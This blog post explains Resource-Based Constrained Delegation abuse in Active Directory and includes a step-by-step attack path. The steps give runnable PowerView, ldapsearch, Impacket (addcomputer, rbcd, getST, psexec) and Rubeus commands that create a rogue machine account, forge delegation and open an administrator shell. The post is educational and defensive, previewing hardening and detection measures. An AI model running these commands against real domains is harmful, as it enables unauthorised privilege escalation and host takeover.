Active Directory RBCD: Deconstructing Kerberos Delegation

Md. Redwan Ahmed Md. Redwan Ahmed
·
Active Directory RBCD: Deconstructing Kerberos Delegation

Overview & Threat Landscape#

In enterprise Windows environments, Microsoft Active Directory Domain Services (AD DS) and the Kerberos authentication protocol form the core trust fabric. To allow multi-tier applications (such as web frontends querying backend database clusters) to act on behalf of authenticated clients, Microsoft designed Kerberos delegation. Over the past two decades, this architecture evolved from Unconstrained Delegation (Windows 2000), which forwarded entire Ticket Granting Tickets (TGTs), to Constrained Delegation (Windows Server 2003), which introduced Service-for-User (S4U) protocol extensions governed by Domain Administrators.

In Windows Server 2012, Microsoft introduced Resource-Based Constrained Delegation (RBCD) per technical specification [MS-SFU]. RBCD was designed to decentralize delegation management: rather than requiring Domain Admins to configure front-end services, the resource owner (the back-end service) specifies which security principals are authorized to impersonate users against it. This authorization is stored directly on the target object's msDS-AllowedToActOnBehalfOfOtherIdentity attribute.

However, this design introduced a foundational privilege escalation and lateral movement primitive:

  • Decentralization of Delegation Authority: Traditional constrained delegation requires the privileged SeEnableDelegationPrivilege user right, which is restricted strictly to Domain Administrators. In contrast, configuring RBCD requires write access over the target computer object's Discretionary Access Control List (DACL)—specifically permissions like GenericAll, GenericWrite, WriteOwner, WriteDacl, or explicit WriteProperty for msDS-AllowedToActOnBehalfOfOtherIdentity.
  • The MachineAccountQuota (MAQ) Catalyst: In default Active Directory installations, the domain-level attribute ms-DS-MachineAccountQuota is set to 10. This allows any standard, unprivileged domain user to create up to 10 new computer accounts. Because computer accounts inherently possess a Service Principal Name (SPN), any attacker with write access to a target computer can provision a rogue computer account, grant it delegation rights over the target, and abuse Kerberos S4U extensions without requiring elevated privileges.
  • Stealth and Endpoint EDR Invisibility: The configuration phase of an RBCD attack occurs entirely over LDAP (TCP 389/636), while the authentication and ticket forging phase occurs over Kerberos (TCP/UDP 88) directly against the Domain Controller's Key Distribution Center (KDC). Endpoint Detection and Response (EDR) sensors installed on the target workstation or server observe zero anomalous process injection, zero memory tampering, and zero suspicious child processes until the attacker authenticates as a legitimate administrative principal via standard protocols (SMB, WMI, or WinRM).

[!WARNING] If an adversary acquires write access over a computer object—through ACL misconfigurations, Exchange write permissions, helpdesk delegation, or group nesting—RBCD allows the attacker to unilaterally grant themselves local SYSTEM privileges on that host, turning delegated administrative rights into full remote code execution.

Vulnerability & Attack Root-Cause Analysis#

To deconstruct RBCD exploitation, we must inspect the Service-for-User (S4U) protocol extensions and the binary encoding of msDS-AllowedToActOnBehalfOfOtherIdentity.

The S4U2self and S4U2proxy Protocol Extensions ([MS-SFU])#

Microsoft extended the standard Kerberos protocol (RFC 4120) with two proprietary extensions defined in [MS-SFU]:

  1. S4U2self (Service-for-User-to-Self): Enables a service possessing an SPN to obtain a Kerberos Service Ticket (ST) to itself on behalf of an arbitrary domain user (e.g., Administrator), without requiring that user's password or interaction.
    • The client sends a TGS-REQ containing a PA-FOR-USER pre-authentication data structure specifying the target username and domain.
    • The KDC issues a Service Ticket where the client name (cname) is the impersonated user and the service name (sname) is the requesting service itself.
  2. S4U2proxy (Service-for-User-to-Proxy): Enables a service to take the Service Ticket obtained via S4U2self and present it to the KDC in an additional TGS-REQ to request an outbound Service Ticket to a secondary target service (the resource).

In traditional Constrained Delegation, the KDC verifies that the target SPN is listed in the caller's msDS-AllowedToDelegateTo attribute. In Resource-Based Constrained Delegation, the KDC shifts the validation check to the target resource.

The msDS-AllowedToActOnBehalfOfOtherIdentity Attribute#

According to [MS-ADA2] Section 2.29, the msDS-AllowedToActOnBehalfOfOtherIdentity attribute holds a self-relative security descriptor (SECURITY_DESCRIPTOR) serialized in binary format.

The security descriptor contains a Discretionary Access Control List (DACL) populated with Access Allowed Access Control Entries (ACEs). The structure evaluates authorization as follows:

C 
// Conceptual representation of Security Descriptor ACE for RBCD
typedef struct _ACE_HEADER {
    BYTE AceType;   // ACCESS_ALLOWED_ACE_TYPE (0x00)
    BYTE AceFlags;  // Container/Object inheritance flags
    WORD AceSize;   // Total size of the ACE structure
} ACE_HEADER;

typedef struct _ACCESS_ALLOWED_ACE {
    ACE_HEADER Header;
    ACCESS_MASK Mask; // Standard rights: GENERIC_ALL or ACTRL_DS_CONTROL_ACCESS
    DWORD SidStart;   // SID of the attacker-controlled machine account
} ACCESS_ALLOWED_ACE;

When the KDC processes an S4U2proxy request targeting a server, it performs the following algorithmic check:

  1. The KDC extracts the binary security descriptor from the target's msDS-AllowedToActOnBehalfOfOtherIdentity attribute.
  2. The KDC evaluates whether the calling service principal's Security Identifier (SID) has permission to act on behalf of other identities against the target.
  3. If the calling service's SID matches an authorized ACE in the target's DACL, the KDC constructs a new Service Ticket for the requested service (e.g., cifs/TARGETPC.domain.local), populating the ticket's Privilege Attribute Certificate (PAC) with the group memberships and privileges of the impersonated user (e.g., Domain Admin).

[!IMPORTANT] The KDC does not verify whether the impersonated user actually authenticated to the requesting service. By design, RBCD trusts the target resource's configuration. If an attacker can modify that configuration via LDAP, the security boundary completely collapses.

Exploit Architecture#

The sequence diagram below illustrates the end-to-end protocol flow from account creation to remote code execution:

sequenceDiagram
    autonumber
    actor Attacker as Threat Actor
    participant DC_LDAP as Domain Controller (LDAP Port 389/636)
    participant DC_KDC as Kerberos KDC (TCP/UDP Port 88)
    participant Target as Target Computer (e.g. WORKSTATION01$)

    Note over Attacker,DC_LDAP: Step 1: Rogue Machine Account Creation
    Attacker->>DC_LDAP: LDAP AddRequest: Create Computer Account (EVILPC$) via MAQ
    DC_LDAP-->>Attacker: Account Created with SPN (HOST/EVILPC.domain.local)

    Note over Attacker,DC_LDAP: Step 2: Attribute Manipulation
    Attacker->>DC_LDAP: LDAP ModifyRequest on WORKSTATION01$
    Note over Attacker,DC_LDAP: Overwrite msDS-AllowedToActOnBehalfOfOtherIdentity with DACL containing EVILPC$ SID
    DC_LDAP-->>Attacker: Modify Success: RBCD Path Established

    Note over Attacker,DC_KDC: Step 3: S4U2self Protocol Transition
    Attacker->>DC_KDC: KRB_AS_REQ (Authenticate as EVILPC$)
    DC_KDC-->>Attacker: KRB_AS_REP (TGT for EVILPC$)
    Attacker->>DC_KDC: KRB_TGS_REQ (S4U2self: Request ticket for EVILPC$ as DomainAdmin)
    DC_KDC-->>Attacker: KRB_TGS_REP (Forwardable Service Ticket for DomainAdmin to EVILPC$)

    Note over Attacker,DC_KDC: Step 4: S4U2proxy Delegation Request
    Attacker->>DC_KDC: KRB_TGS_REQ (S4U2proxy: Request ticket for cifs/WORKSTATION01$ presenting S4U2self ticket)
    Note over DC_KDC: KDC checks WORKSTATION01$ msDS-AllowedToActOnBehalfOfOtherIdentity<br>Validates EVILPC$ SID has access
    DC_KDC-->>Attacker: KRB_TGS_REP (Service Ticket for cifs/WORKSTATION01$ as DomainAdmin)

    Note over Attacker,Target: Step 5: Post-Exploitation Execution
    Attacker->>Target: SMB/RPC Connection using forged Service Ticket
    Target->>Target: Verify Service Ticket PAC via KDC signature
    Target-->>Attacker: Administrative Access Granted: Local SYSTEM Shell Established

Attack Path Step-by-Step#

Understanding the concrete execution path reveals why RBCD remains one of the most reliable privilege escalation techniques in Active Directory environments.

Step 1: Identifying Delegated DACL Permissions & MAQ#

The attacker first queries Active Directory to identify computer objects where their compromised identity holds modifying rights (GenericAll, GenericWrite, WriteOwner, WriteDacl):

POWERSHELL 
# PowerView: Identifying computer objects where the current user has write access
Get-DomainComputer | Get-DomainObjectAcl -ResolveGUIDs | ? {
    $_.SecurityIdentifier -eq (Get-DomainUser -Identity "compromised_user").objectsid -and
    $_.ActiveDirectoryRights -match "GenericAll|GenericWrite|WriteDacl|WriteProperty"
} | Select-Object ObjectDN, ActiveDirectoryRights, SecurityIdentifier

Next, the attacker verifies that the domain permits computer account creation by inspecting ms-DS-MachineAccountQuota:

BASH 
# Linux: Querying MachineAccountQuota via ldapsearch
ldapsearch -x -H ldap://dc01.domain.local -b "DC=domain,DC=local" \
  "(objectClass=domainDNS)" ms-DS-MachineAccountQuota | grep "ms-DS-MachineAccountQuota"

Step 2: Provisioning the Rogue Machine Account#

Using their standard domain credentials, the attacker creates a new computer account. Active Directory automatically provisions a default Service Principal Name (HOST/EVILPC.domain.local) for newly registered computer objects:

BASH 
# Impacket: Adding a computer account using standard domain user credentials
python3 addcomputer.py domain.local/compromised_user:Password123! \
  -computer-name 'EVILPC$' \
  -computer-pass 'CompPass123!' \
  -dc-ip 10.0.0.1

Step 3: Injecting the Security Descriptor via LDAP#

The attacker crafts a raw security descriptor containing an Access Allowed ACE with the SID of EVILPC$ and writes it to the target's msDS-AllowedToActOnBehalfOfOtherIdentity attribute:

BASH 
# Impacket: Writing msDS-AllowedToActOnBehalfOfOtherIdentity onto the target computer
python3 rbcd.py domain.local/compromised_user:Password123! \
  -delegate-from 'EVILPC$' \
  -delegate-to 'WORKSTATION01$' \
  -action 'write' \
  -dc-ip 10.0.0.1

Under the hood, this converts the SID of EVILPC$ into an SDDL string (O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;S-1-5-21-...-1105)) and issues an LDAP ModifyRequest to write the binary security descriptor.

Step 4: Executing S4U2self and S4U2proxy Ticket Forgery#

With the attribute populated, the attacker initiates the S4U protocol exchange:

BASH 
# Impacket: Requesting a Service Ticket for cifs/WORKSTATION01$ impersonating Administrator
python3 getST.py domain.local/EVILPC\$:CompPass123! \
  -spn 'cifs/WORKSTATION01.domain.local' \
  -impersonate 'Administrator' \
  -dc-ip 10.0.0.1

Or using Rubeus on a Windows endpoint:

POWERSHELL 
# Rubeus: Executing full S4U protocol transition and injecting ticket into current session
.\Rubeus.exe s4u /user:EVILPC$ /rc4:8d4a1b... /impersonateuser:Administrator /msdsspn:cifs/WORKSTATION01.domain.local /ptt

The KDC returns a valid, forwardable Kerberos Service Ticket for cifs/WORKSTATION01.domain.local with Administrator in the client field, signed by the KDC's ticket-granting service key.

Step 5: Post-Exploitation & Full System Takeover#

The attacker loads the acquired Kerberos ticket into their session and connects to the target machine via SMB, WMI, or WinRM, gaining unrestricted local administrative code execution:

BASH 
# Pass-the-Ticket: Establishing an administrative shell on the target system
export KRB5CCNAME=Administrator@cifs_WORKSTATION01.domain.local@DOMAIN.LOCAL.ccache

python3 psexec.py -k -no-pass domain.local/Administrator@WORKSTATION01.domain.local

Fast Cyber Defense Morning Takeaways#

The mechanics of Resource-Based Constrained Delegation yield fundamental lessons for enterprise Active Directory security architecture:

  1. DACL Vulnerabilities Equal System Compromise: In Active Directory, delegated object permissions (GenericWrite, WriteDacl) on computer objects are not administrative conveniences; they represent full local SYSTEM control over the underlying endpoint via RBCD.
  2. MachineAccountQuota (MAQ) Is an Exploitation Enabler: Setting ms-DS-MachineAccountQuota > 0 allows low-privileged threat actors to autonomously fulfill the SPN requirement needed to execute S4U2self and S4U2proxy attacks.
  3. The Limitation of Sensitive Account Protection: Setting Account is sensitive and cannot be delegated on high-privilege users (such as Domain Admins) prevents them from being delegated via S4U2proxy, neutralizing RBCD against those specific identities.

Bridge to Evening Defense Guide#

In tonight's companion defensive engineering guide, we will implement a multi-tiered blue team defense blueprint:

  • Directory Hardening: Setting ms-DS-MachineAccountQuota to 0 and stripping delegated write rights from computer object DACLs.
  • Sensitive Account Protections: Enforcing membership in the Protected Users security group to disable Kerberos delegation globally for tier-0 administrators.
  • Production Detection Rules: Writing Sigma rules for Event ID 5136 (attribute modification on msDS-AllowedToActOnBehalfOfOtherIdentity) and Event ID 4769 (anomalous S4U Kerberos ticket requests with options 0x40810000).
  • Incident Response Playbook: Step-by-step forensic procedures to audit Active Directory for existing RBCD backdoors, flush forged service tickets, and restore strict object security boundaries.

Authoritative References#

  1. Microsoft Technical Specification: [MS-SFU]: Kerberos Protocol Extensions: Service for User and Constrained Delegation Protocol — Microsoft Learn
  2. Microsoft Technical Specification: [MS-ADA2]: Active Directory Schema Attributes (msDS-AllowedToActOnBehalfOfOtherIdentity) — Microsoft Learn
  3. CISA & NSA Cybersecurity Advisory: Active Directory Security: Mitigating Kerberos Delegation Abuse — CISA Cybersecurity Best Practices
  4. Elad Shamir Research: Wagging the Dog: Abusing Resource-Based Constrained Delegation — Elad Shamir Blog

Comments

Post a Comment